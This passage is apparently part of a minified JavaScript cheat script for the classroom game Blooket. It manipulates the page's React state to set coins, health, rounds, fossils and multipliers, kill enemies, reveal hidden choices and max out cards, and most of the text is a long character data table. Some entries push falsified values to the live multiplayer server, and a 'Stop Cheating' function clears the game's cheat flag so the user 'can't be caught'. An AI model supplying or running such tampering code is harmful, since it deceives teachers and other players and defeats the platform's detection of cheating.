for (let t in e.stats.auraBuffs) e.stats.auraBuffs[t] *= 100
})
}
}, {
name: "Kill Enemies",
description: "Kills all the enemies",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.state.game.scene.enemyQueue.length = 0, e.state.game.scene.physics.world.bodies.entries.forEach(e => e?.gameObject?.receiveDamage?.(e.gameObject.hp, 1))
}
}, {
name: "Set Coins",
description: "Sets coins",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
coins: Number(parseInt(prompt("How many tokens would you like?")))
})
}
}, {
name: "Set Health",
description: "Sets the amount of health you have",
run: function(e) {
var t = document.createElement("iframe");
document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
health: Number(parseInt(prompt("How much health do you want?")))
})
}
}, {
name: "Set Round",
description: "Sets the current round",
run: function(e) {
var t = document.createElement("iframe");
document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
round: Number(parseInt(prompt("What round do you want to set to?")))
})
}
}],
dinos: [{
name: "Auto Choose",
description: "Automatically choose the best fossil when excavating",
type: "toggle",
enabled: false,
data: null,
run: function() {
if (this.enabled) {
this.enabled = false;
clearInterval(this.data);
this.data = null;
} else {
this.enabled = true;
this.data = setInterval(() => {
const cheat = (async () => {
function rand(e, t) {
const s = [];
while (s.length < t) {
const i = Math.random();
let r = 0,
g = null;
for (let o = 0; o < e.length; o++) {
r += e[o].rate;
if (r >= i) {
g = e[o];
break;
}
}
g && !s.includes(g) && s.push(g);
}
return s;
}
try {
let {
stateNode
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner;
if (stateNode.state.stage === "excavate") {
stateNode.state.choices.length || (stateNode.state.choices = rand([{
type: "fossil",
val: 10,
rate: .1,
blook: "Amber"
},
{
type: "fossil",
val: 25,
rate: .1,
blook: "Dino Egg"
},
{
type: "fossil",
val: 50,
rate: .175,
blook: "Dino Fossil"
},
{
type: "fossil",
val: 75,
rate: .175,
blook: "Stegosaurus"
},
{
type: "fossil",
val: 100,
rate: .15,
blook: "Velociraptor"
},
{
type: "fossil",
val: 125,
rate: .125,
blook: "Brontosaurus"
},
{
type: "fossil",
val: 250,
rate: .075,
blook: "Triceratops"
},
{
type: "fossil",
val: 500,
rate: .025,
blook: "Tyrannosaurus Rex"
},
{
type: "mult",
val: 1.5,
rate: .05
},
{
type: "mult",
val: 2,
rate: .025
}
], 3));
let max = 0,
index = -1;
for (let i = 0; i < stateNode.state.choices.length; i++) {
const {
type,
val
} = stateNode.state.choices[i];
const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0;
if (value <= max && type != "mult") continue;
max = value;
index = i + 1;
}
document.querySelector('div[class*=rockRow] > div[role="button"]:nth-child(' + index + ')').click();
}
} catch {}
});
cheat();
}, 50);
}
}
}, {
name: "Rock ESP",
description: "Shows what is under the rocks",
type: "toggle",
enabled: !1,
data: null,
run: function() {
let e = ["⁰", "\xb9", "\xb2", "\xb3", "⁴", "⁵", "⁶", "⁷", "⁸", "⁹"],
t = t => {
let a = "";
for (; t > 0;) a = e[t % parseInt("10")] + a, t = ~~(t / 10);
return a
},
a = e => {
let a = e.toString();
if (e >= 1e3) {
let o = ["", "K", "M", "B", "T"],
r = ~~((digits(e) - 1) / 3);
if (r < o.length) {
let i = "";
for (let n = 3; n >= 1; n--) {
i = parseFloat((0 !== r ? e / 1e3 ** r : e).toPrecision(n)).toString();
let s = i.replace(/[^a-zA-Z 0-9]+/g, "");
if (s.length <= 3) break
}
Number(i) % 1 != 0 && (i = Number(i).toFixed(1)), a = i + o[r]
} else {
let l = e,
c = 0;
for (; l >= 100;) l = Math.floor(l / 10), c += 1;
a = `${l/10} \xd7 10${t(c+1)}`
}
}
return a
};
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, t = [...document.querySelector('[class*="rockButton"]').parentElement.children];
t.every(e => e.querySelector("div")) || e.setState({
choices: [{
type: "fossil",
val: 10,
rate: .1,
blook: "Amber"
}, {
type: "fossil",
val: 25,
rate: .1,
blook: "Dino Egg"
}, {
type: "fossil",
val: 50,
rate: .175,
blook: "Dino Fossil"
}, {
type: "fossil",
val: 75,
rate: .175,
blook: "Stegosaurus"
}, {
type: "fossil",
val: 100,
rate: .15,
blook: "Velociraptor"
}, {
type: "fossil",
val: 125,
rate: .125,
blook: "Brontosaurus"
}, {
type: "fossil",
val: 250,
rate: .075,
blook: "Triceratops"
}, {
type: "fossil",
val: 500,
rate: .025,
blook: "Tyrannosaurus Rex"
}, {
type: "mult",
val: 1.5,
rate: .05
}, {
type: "mult",
val: 2,
rate: .025
}].sort(() => .5 - Math.random()).slice(0, 3)
}, () => {
t.forEach((t, o) => {
let r = e.state.choices[o];
t.querySelector("div") && t.querySelector("div").remove();
let i = document.createElement("div");
i.style.color = "white", i.style.fontFamily = "Macondo", i.style.fontSize = "1em", i.style.display = "flex", i.style.justifyContent = "center", i.style.transform = "translateY(25px)", i.innerText = "fossil" === r.type ? `+${Math.round(r.val*e.state.fossilMult)>99999999?a(Math.round(r.val*e.state.fossilMult)):Math.round(r.val*e.state.fossilMult)} Fossils` : `x${r.val} Fossils Per Excavation`, t.append(i)
})
})
}, 50))
}
}, {
name: "Set Fossils",
description: "Sets the amount of fossils you have",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How many fossils would you like?")))),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
t.setState({
fossils: e
}), t.props.liveGameController.setVal({
path: "c/" + t.props.client.name,
val: {
b: t.props.client.blook,
f: e,
ic: t.state.isCheating
}
})
}
}, {
name: "Set Multiplier",
description: "Sets fossil multiplier",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("What do you want your multiplier to be?"))));
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
fossilMult: e
})
}
}, {
name: "Stop Cheating",
description: "Undoes cheating so that you can't be caught",
run: function() {
var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
e.setState({
isCheating: !1
}), e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/ic`,
val: !1
})
}
}],
doom: [{
name: "Fill Deck",
description: "Fills your deck with every maxed out card and artifact (Only works on towers page)",
run: function() {
let e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/map" == window.location.pathname) {
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
t.props.tower.artifacts = "Medical Kit|Fury Relic|Survival Guide|Steel Socks|Piggy Bank|Lucky Feather|Coupon|Cheese|Tasty Egg|Training Weights|Mighty Shield|Toxic Waste|Lifeline Totem|Cursed Hourglass|Band-Aid|Elder Coins|Captain's Anchor|Chess Pieces|Pink Hippo|Anorak's Wizard Cap|Dave's Doggo|Anubis' Obelisk|Farm Tractor|Magic Seedling|Just A Bone|Cozy Igloo|King's Crown|Sacred Scroll".split("|"), t.props.tower.cards = "Chick,\uD83C\uDF3D|Chicken,\uD83C\uDF3D|Cow,\uD83C\uDF3D|Goat,\uD83C\uDF3D|Horse,\uD83C\uDF3D|Pig,\uD83C\uDF3D|Sheep,\uD83C\uDF3D|Duck,\uD83C\uDF3D|Dog,\uD83C\uDF3D|Cat,\uD83D\uDC3E|Rabbit,\uD83D\uDC3E|Goldfish,\uD83D\uDC3E|Hamster,\uD83D\uDC3E|Turtle,\uD83D\uDC3E|Kitten,\uD83D\uDC3E|Puppy,\uD83D\uDC3E|Bear,\uD83C\uDF32|Moose,\uD83C\uDF32|Fox,\uD83C\uDF32|Raccoon,\uD83C\uDF32|Squirrel,\uD83C\uDF32|Owl,\uD83C\uDF32|Hedgehog,\uD83C\uDF32|Baby Penguin,❄️|Penguin,❄️|Arctic Fox,❄️|Snowy Owl,❄️|Polar Bear,❄️|Arctic Hare,❄️|Seal,❄️|Walrus,❄️|Tiger,\uD83C\uDF34|Panther,\uD83C\uDF34|Cockatoo,\uD83C\uDF34|Orangutan,\uD83C\uDF34|Anaconda,\uD83C\uDF34|Macaw,\uD83C\uDF34|Jaguar,\uD83C\uDF34|Capuchin,\uD83C\uDF34|Toucan,\uD83C\uDF34|Parrot,\uD83C\uDF34|Elf,⚔️|Witch,⚔️|Wizard,⚔️|Fairy,⚔️|Slime Monster,⚔️|Jester,⚔️|Dragon,⚔️|Unicorn,⚔️|Queen,⚔️|King,⚔️|Snow Globe,☃️|Holiday Gift,☃️|Hot Chocolate,☃️|Gingerbread Man,☃️|Gingerbread House,☃️|Holiday Wreath,☃️|Snowman,☃️|Santa Claus,☃️|Two of Spades,\uD83C\uDFF0|Eat Me,\uD83C\uDFF0|Drink Me,\uD83C\uDFF0|Alice,\uD83C\uDFF0|Queen of Hearts,\uD83C\uDFF0|Dormouse,\uD83C\uDFF0|White Rabbit,\uD83C\uDFF0|Cheshire Cat,\uD83C\uDFF0|Caterpillar,\uD83C\uDFF0|Mad Hatter,\uD83C\uDFF0|King of Hearts,\uD83C\uDFF0".split("|").map(e => {
let [t, o] = e.split(",");
return {
strength: 20,
charisma: 20,
wisdom: 20,
class: o,
blook: t
}
});
try {
t.props.addTowerNode()
} catch {}
t.setState({
showDeck: !1
})
} else alert("You need to be on the map to run this cheat!")
}
}, {
name: "Max Cards",
description: "Maxes out all the cards in your deck",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/map" == window.location.pathname ? (e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).props.tower.cards.forEach(e => {
e.strength = 20, e.charisma = 20, e.wisdom = 20
}) : alert("You need to be on the map to run this cheat!")
}
}, {
name: "Max Health",
description: "Fills the player's health",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/tower/battle" == window.location.pathname ? Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
myHealth: 100
}) : alert("You need to be in battle to run this cheat!")
}
}, {
name: "Max Card Stats",
description: "Maxes out player's current card (Only works on attribute select page)",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode;
"select" !== e.state.phase ? alert("You must be on the attribute selection page!") : e.setState({
myCard: {
...e.state.myCard,
strength: 20,
charisma: 20,
wisdom: 20
}
})
}
}, {
name: "Min Enemy Stats",
description: "Makes the enemy card stats all 0 (Only works on attribute select page)",
run: function() {
var e = document.createElement("iframe"),
e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode;
"select" !== e.state.phase ? alert("You must be on the attribute selection page!") : e.setState({
enemyCard: {
...e.state.enemyCard,
strength: 0,
charisma: 0,
wisdom: 0
}
})
}
}, {
name: "Set Coins",
description: "Try's to set amount of tower coins you have",
run: function() {
var e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.prompt.bind(window), e.remove(), "/tower/battle" == window.location.pathname) {
var e = parseInt("0" + alert("How many coins would you like?")),
t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
try {
t.props.setTowerCoins(e)
} catch {}
} else alert("You need to be in battle to run this cheat!")
}
}],
factory: [{
name: "Choose Blook",
description: "Gives you a blook",
run: function() {
let e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, o = [{
name: "Chick",
color: "#ffcd05",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [3, 7, 65, 400, 2500],
time: [1, 1, 1, 1, 1],
price: [300, 3e3, 3e4, 2e5]
}, {
name: "Chicken",
color: "#ed1c24",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [10, 40, 200, 1400, 1e4],
time: [5, 4, 3, 2, 1],
price: [570, 4e3, 5e4, 8e5]
}, {
name: "Cow",
color: "#58595b",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [25, 75, 1500, 25e3, 25e4],
time: [15, 10, 10, 10, 5],
price: [500, 9500, 16e4, 4e6]
}, {
name: "Duck",
color: "#4ab96d",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [4, 24, 200, 3e3, 4e4],
time: [3, 3, 3, 3, 3],
price: [450, 4200, 7e4, 11e5]
}, {
name: "Goat",
color: "#c59a74",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [5, 28, 200, 1300, 12e3],
time: [3, 3, 2, 2, 2],
price: [500, 6400, 45e3, 5e5]
}, {
name: "Horse",
color: "#995b3c",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [5, 20, 270, 1800, 15e3],
time: [2, 2, 2, 2, 2],
price: [550, 8200, 65e3, 6e5]
}, {
name: "Pig",
color: "#f6a9cb",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [20, 50, 1300, 8e3, 8e4],
time: [7, 7, 7, 7, 5],
price: [400, 11e3, 8e4, 13e5]
}, {
name: "Sheep",
color: "#414042",
class: "\uD83C\uDF3D",
rarity: "Common",
cash: [6, 25, 250, 1500, 11e3],
time: [3, 3, 3, 2, 2],
price: [500, 5e3, 5e4, 43e4]
}, {
name: "Cat",
color: "#f49849",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [5, 18, 170, 1700, 13e3],
time: [2, 2, 2, 2, 2],
price: [480, 5500, 6e4, 5e5]
}, {
name: "Dog",
color: "#995b3c",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [7, 25, 220, 1900, 9e3],
time: [3, 3, 2, 2, 1],
price: [460, 6600, 7e4, 73e4]
}, {
name: "Goldfish",
color: "#f18221",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [5, 40, 350, 3500, 35e3],
time: [3, 3, 3, 3, 3],
price: [750, 7200, 84e3, 95e4]
}, {
name: "Rabbit",
color: "#e7bf9a",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [3, 18, 185, 800, 7e3],
time: [2, 2, 2, 1, 1],
price: [500, 5800, 56e3, 55e4]
}, {
name: "Hamster",
color: "#ce9176",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [10, 45, 450, 4500, 45e3],
time: [4, 4, 4, 4, 4],
price: [650, 6500, 8e4, 93e4]
}, {
name: "Turtle",
color: "#619a3c",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [23, 120, 1400, 15e3, 17e4],
time: [10, 10, 10, 10, 10],
price: [700, 8500, 11e4, 13e5]
}, {
name: "Puppy",
color: "#414042",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [4, 10, 75, 500, 3e3],
time: [1, 1, 1, 1, 1],
price: [450, 4e3, 35e3, 25e4]
}, {
name: "Kitten",
color: "#58595b",
class: "\uD83D\uDC3E",
rarity: "Common",
cash: [4, 8, 60, 400, 2e3],
time: [1, 1, 1, 1, 1],
price: [350, 3500, 26e3, 17e4]
}, {
name: "Bear",
color: "#995b3c",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [12, 70, 550, 4500, 1e5],
time: [7, 7, 6, 5, 5],
price: [550, 5500, 63e3, 16e5]
}, {
name: "Moose",
color: "#995b3c",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [8, 45, 400, 3500, 26e3],
time: [5, 5, 4, 4, 3],
price: [520, 6500, 58e3, 7e5]
}, {
name: "Fox",
color: "#f49849",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [7, 15, 80, 550, 3e3],
time: [2, 2, 1, 1, 1],
price: [400, 4e3, 36e3, 24e4]
}, {
name: "Raccoon",
color: "#6d6e71",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [5, 14, 185, 1900, 19e3],
time: [2, 2, 2, 2, 2],
price: [400, 5e3, 71e3, 8e5]
}, {
name: "Squirrel",
color: "#d25927",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [3, 10, 65, 470, 2600],
time: [1, 1, 1, 1, 1],
price: [420, 3600, 32e3, 21e4]
}, {
name: "Owl",
color: "#594a42",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [4, 17, 155, 1500, 15e3],
time: [2, 2, 2, 2, 2],
price: [500, 4800, 55e3, 58e4]
}, {
name: "Hedgehog",
color: "#3f312b",
class: "\uD83C\uDF32",
rarity: "Common",
cash: [11, 37, 340, 2200, 3e4],
time: [5, 4, 3, 2, 2],
price: [540, 7e3, 77e3, 12e5]
}, {
name: "Seal",
color: "#7ca1d5",
class: "❄️",
rarity: "Common",
cash: [6, 17, 150, 1200, 13e3],
time: [2, 2, 2, 2, 2],
price: [480, 4500, 43e3, 52e4]
}, {
name: "Arctic Fox",
color: "#7ca1d5",
class: "❄️",
rarity: "Common",
cash: [5, 18, 180, 850, 8500],
time: [2, 2, 2, 1, 1],
price: [520, 550, 61e3, 68e4]
}, {
name: "Snowy Owl",
color: "#feda3f",
class: "❄️",
rarity: "Common",
cash: [5, 20, 190, 1900, 16e3],
time: [3, 3, 2, 2, 2],
price: [370, 5300, 76e3, 62e4]
}, {
name: "Arctic Hare",
color: "#7ca1d5",
class: "❄️",
rarity: "Common",
cash: [6, 19, 85, 900, 7e3],
time: [2, 2, 1, 1, 1],
price: [540, 5200, 66e3, 55e4]
}, {
name: "Penguin",
color: "#fb8640",
class: "❄️",
rarity: "Common",
cash: [4, 21, 310, 3200, 33e3],
time: [3, 3, 3, 3, 3],
price: [400, 6500, 76e3, 87e4]
}, {
name: "Baby Penguin",
color: "#414042",
class: "❄️",
rarity: "Common",
cash: [3, 8, 70, 450, 2700],
time: [1, 1, 1, 1, 1],
price: [420, 3300, 33e3, 23e4]
}, {
name: "Polar Bear",
color: "#7ca1d5",
class: "❄️",
rarity: "Common",
cash: [12, 75, 700, 6500, 85e3],
time: [8, 7, 6, 5, 5],
price: [630, 7e3, 91e3, 14e5]
}, {
name: "Walrus",
color: "#7d4f33",
class: "❄️",
rarity: "Common",
cash: [11, 46, 420, 3700, 51e3],
time: [5, 5, 4, 4, 4],
price: [550, 6200, 68e3, 1e6]
}, {
name: "Tiger",
color: "#f18221",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [6, 20, 100, 975, 7500],
time: [3, 3, 1, 1, 1],
price: [390, 6e3, 7e4, 61e4]
}, {
name: "Jaguar",
color: "#fbb040",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [8, 28, 230, 1600, 17e3],
time: [3, 3, 2, 2, 2],
price: [390, 6e3, 7e4, 61e4]
}, {
name: "Toucan",
color: "#ffca34",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [9, 20, 175, 625, 3800],
time: [2, 2, 2, 1, 1],
price: [520, 4800, 42e3, 3e5]
}, {
name: "Cockatoo",
color: "#7ca1d5",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [6, 35, 160, 1700, 18e3],
time: [4, 4, 2, 2, 2],
price: [500, 5e3, 63e3, 7e5]
}, {
name: "Macaw",
color: "#00aeef",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [3, 8, 85, 850, 8500],
time: [1, 1, 1, 1, 1],
price: [480, 5400, 62e3, 63e4]
}, {
name: "Parrot",
color: "#ed1c24",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [3, 9, 90, 900, 9e3],
time: [1, 1, 1, 1, 1],
price: [540, 5700, 65e3, 69e4]
}, {
name: "Panther",
color: "#2f2c38",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [12, 28, 215, 2100, 21e3],
time: [5, 3, 2, 2, 2],
price: [530, 6500, 76e3, 87e4]
}, {
name: "Anaconda",
color: "#8a9143",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [3, 15, 85, 1500, 7600],
time: [1, 2, 1, 2, 1],
price: [410, 5100, 58e3, 59e4]
}, {
name: "Orangutan",
color: "#bc6234",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [13, 52, 570, 4300, 7e4],
time: [5, 5, 5, 4, 4],
price: [600, 7e3, 8e4, 14e5]
}, {
name: "Capuchin",
color: "#e0b0a6",
class: "\uD83C\uDF34",
rarity: "Common",
cash: [4, 14, 160, 780, 8200],
time: [2, 2, 2, 1, 1],
price: [390, 4700, 57e3, 68e4]
}, {
name: "Elf",
color: "#a7d054",
class: "⚔️",
rarity: "Uncommon",
cash: [5e3, 15e3, 15e4, 15e5, 1e7],
time: [1, 1, 1, 1, 1],
price: [8e5, 9e6, 11e7, 8e8]
}, {
name: "Witch",
color: "#4ab96d",
class: "⚔️",
rarity: "Uncommon",
cash: [18e3, 6e4, 4e4, 4e6, 35e6],
time: [3, 3, 2, 2, 2],
price: [11e5, 12e6, 15e7, 14e8]
}, {
name: "Wizard",
color: "#5a459c",
class: "⚔️",
rarity: "Uncommon",
cash: [19500, 65e3, 44e4, 46e5, 4e6],
time: [3, 3, 2, 2, 2],
price: [13e5, 135e5, 16e7, 16e8]
}, {
name: "Fairy",
color: "#df6d9c",
class: "⚔️",
rarity: "Uncommon",
cash: [18500, 6e4, 62e4, 44e5, 38e6],
time: [3, 3, 3, 2, 2],
price: [12e5, 125e5, 15e6, 15e8]
}, {
name: "Slime Monster",
color: "#2fa04a",
class: "⚔️",
rarity: "Uncommon",
cash: [35e3, 14e4, 1e6, 11e6, 11e7],
time: [5, 5, 4, 4, 4],
price: [16e5, 15e6, 2e8, 23e8]
}, {
name: "Jester",
color: "#be1e2d",
class: "⚔️",
rarity: "Rare",
cash: [25e3, 1e5, 68e4, 65e5, 32e6],
time: [3, 3, 2, 2, 1],
price: [2e6, 21e6, 23e7, 26e8]
}, {
name: "Dragon",
color: "#2fa04a",
class: "⚔️",
rarity: "Rare",
cash: [36e3, 15e4, 15e5, 15e6, 15e7],
time: [4, 4, 4, 4, 4],
price: [23e5, 24e6, 27e7, 3e9]
}, {
name: "Unicorn",
color: "#f6afce",
class: "⚔️",
rarity: "Epic",
cash: [24e3, 15e4, 14e5, 7e6, 75e6],
time: [2, 2, 2, 1, 1],
price: [45e5, 45e6, 55e7, 65e8]
}, {
name: "Queen",
color: "#9e1f63",
class: "⚔️",
rarity: "Rare",
cash: [24e3, 95e3, 95e4, 97e5, 95e6],
time: [3, 3, 3, 3, 3],
price: [19e5, 2e7, 23e7, 25e8]
}, {
name: "King",
color: "#ee2640",
class: "⚔️",
rarity: "Legendary",
cash: [75e3, 4e5, 6e6, 9e7, 125e7],
time: [5, 5, 5, 5, 5],
price: [6e6, 95e6, 16e8, 25e9]
}, {
name: "Two of Spades",
color: "#414042",
class: "\uD83C\uDFF0",
rarity: "Uncommon",
cash: [4500, 14e3, 14e4, 14e5, 9e6],
time: [1, 1, 1, 1, 1],
price: [77e4, 83e5, 98e6, 71e7]
}, {
name: "Eat Me",
color: "#d58c55",
class: "\uD83C\uDFF0",
rarity: "Uncommon",
cash: [13e3, 45e3, 45e4, 45e5, 5e7],
time: [2, 2, 2, 2, 2],
price: [13e5, 14e6, 16e7, 2e9]
}, {
name: "Drink Me",
color: "#dd7399",
class: "\uD83C\uDFF0",
rarity: "Uncommon",
cash: [12e3, 4e4, 4e5, 4e6, 45e6],
time: [2, 2, 2, 2, 2],
price: [12e5, 12e6, 14e7, 18e8]
}, {
name: "Alice",
color: "#4cc9f5",
class: "\uD83C\uDFF0",
rarity: "Uncommon",
cash: [13e3, 42e3, 21e4, 21e5, 23e6],
time: [2, 2, 1, 1, 1],
price: [12e5, 13e6, 15e7, 19e8]
}, {
name: "Queen of Hearts",
color: "#d62027",
class: "\uD83C\uDFF0",
rarity: "Uncommon",
cash: [23e3, 87e3, 62e4, 75e5, 9e7],
time: [4, 4, 3, 3, 3],
price: [13e5, 13e6, 18e7, 24e8]
}, {
name: "Dormouse",
color: "#89d6f8",
class: "\uD83C\uDFF0",
rarity: "Rare",
cash: [17e3, 68e3, 7e5, 35e5, 35e6],
time: [2, 2, 1, 1, 1],
price: [2e6, 22e6, 25e7, 28e8]
}, {
name: "White Rabbit",
color: "#ffcd05",
class: "\uD83C\uDFF0",
rarity: "Rare",
cash: [26e3, 105e3, 11e6, 77e5, 72e6],
time: [3, 3, 3, 2, 2],
price: [2e6, 23e6, 28e7, 29e8]
}, {
name: "Cheshire Cat",
color: "#dd7399",
class: "\uD83C\uDFF0",
rarity: "Rare",
cash: [32e3, 1e5, 9e5, 9e6, 6e7],
time: [4, 3, 3, 3, 2],
price: [18e5, 19e6, 22e7, 24e8]
}, {
name: "Caterpillar",
color: "#00c0f3",
class: "\uD83C\uDFF0",
rarity: "Epic",
cash: [1e4, 7e4, 65e4, 75e5, 85e6],
time: [1, 1, 1, 1, 1],
price: [42e5, 42e6, 54e7, 69e8]
}, {
name: "Mad Hatter",
color: "#914f93",
class: "\uD83C\uDFF0",
rarity: "Epic",
cash: [38e3, 25e4, 15e5, 14e6, 8e7],
time: [3, 3, 2, 2, 1],
price: [48e5, 48e6, 52e7, 66e8]
}, {
name: "King of Hearts",
color: "#c62127",
class: "\uD83C\uDFF0",
rarity: "Legendary",
cash: [8e4, 42e4, 68e5, 1e8, 15e8],
time: [5, 5, 5, 5, 5],
price: [7e6, 11e7, 18e8, 3e10]
}, {
name: "Earth",
color: "#416eb5",
class: "\uD83D\uDE80",
rarity: "Uncommon",
cash: [15e3, 45e3, 6e5, 65e5, 65e6],
time: [3, 3, 3, 3, 3],
price: [1e6, 11e6, 15e7, 17e8]
}, {
name: "Meteor",
color: "#c68c3c",
class: "\uD83D\uDE80",
rarity: "Uncommon",
cash: [23e3, 65e3, 7e5, 45e5, 2e7],
time: [5, 4, 3, 2, 1],
price: [95e4, 13e6, 16e7, 16e8]
}, {
name: "Stars",
color: "#19184d",
class: "\uD83D\uDE80",
rarity: "Uncommon",
cash: [1e4, 4e4, 2e5, 2e6, 18e6],
time: [2, 2, 1, 1, 1],
price: [14e5, 14e6, 15e7, 15e8]
}, {
name: "Alien",
color: "#8dc63f",
class: "\uD83D\uDE80",
rarity: "Uncommon",
cash: [3e4, 1e5, 1e6, 11e6, 85e6],
time: [4, 4, 4, 4, 4],
price: [15e5, 17e6, 19e7, 17e8]
}, {
name: "Planet",
color: "#9dc6ea",
class: "\uD83D\uDE80",
rarity: "Rare",
cash: [25e3, 1e5, 9e5, 9e6, 9e7],
time: [3, 3, 3, 3, 3],
price: [2e6, 21e6, 21e7, 24e8]
}, {
name: "UFO",
color: "#a15095",
class: "\uD83D\uDE80",
rarity: "Rare",
cash: [17e3, 7e4, 7e5, 7e6, 7e7],
time: [2, 2, 2, 2, 2],
price: [21e5, 23e6, 25e7, 28e8]
}, {
name: "Spaceship",
color: "#ffcb29",
class: "\uD83D\uDE80",
rarity: "Epic",
cash: [6e4, 32e4, 21e5, 15e6, 85e6],
time: [5, 4, 3, 2, 1],
price: [48e5, 46e6, 54e7, 68e8]
}, {
name: "Astronaut",
color: "#9bd4ee",
class: "\uD83D\uDE80",
rarity: "Legendary",
cash: [45e3, 26e4, 25e5, 38e6, 55e7],
time: [3, 3, 2, 2, 2],
price: [65e5, 1e8, 17e8, 27e9]
}, {
name: "Lil Bot",
color: "#3e564a",
class: "\uD83E\uDD16",
rarity: "Uncommon",
cash: [4e3, 12e3, 18e4, 19e5, 25e6],
time: [1, 1, 1, 1, 1],
price: [73e4, 12e6, 13e7, 19e8]
}, {
name: "Lovely Bot",
color: "#f179af",
class: "\uD83E\uDD16",
rarity: "Uncommon",
cash: [16e3, 65e3, 65e4, 48e5, 42e6],
time: [3, 3, 3, 2, 2],
price: [13e5, 14e6, 17e7, 16e8]
}, {
name: "Angry Bot",
color: "#f1613a",
class: "\uD83E\uDD16",
rarity: "Uncommon",
cash: [22e3, 85e3, 8e5, 62e5, 65e6],
time: [4, 4, 4, 3, 3],
price: [12e5, 13e6, 15e7, 17e8]
}, {
name: "Happy Bot",
color: "#51ba6b",
class: "\uD83E\uDD16",
rarity: "Uncommon",
cash: [11e3, 45e3, 5e5, 25e5, 3e7],
time: [2, 2, 2, 1, 1],
price: [14e5, 15e6, 18e7, 24e8]
}, {
name: "Watson",
color: "#d69b5a",
class: "\uD83E\uDD16",
rarity: "Rare",
cash: [24e3, 1e5, 1e6, 1e7, 1e8],
time: [3, 3, 3, 3, 3],
price: [2e6, 22e6, 24e7, 26e8]
}, {
name: "Buddy Bot",
color: "#9dc6ea",
class: "\uD83E\uDD16",
rarity: "Rare",
cash: [22e3, 95e3, 65e4, 65e5, 65e6],
time: [3, 3, 2, 2, 2],
price: [19e5, 21e6, 23e7, 25e8]
}, {
name: "Brainy Bot",
color: "#9ecf7a",
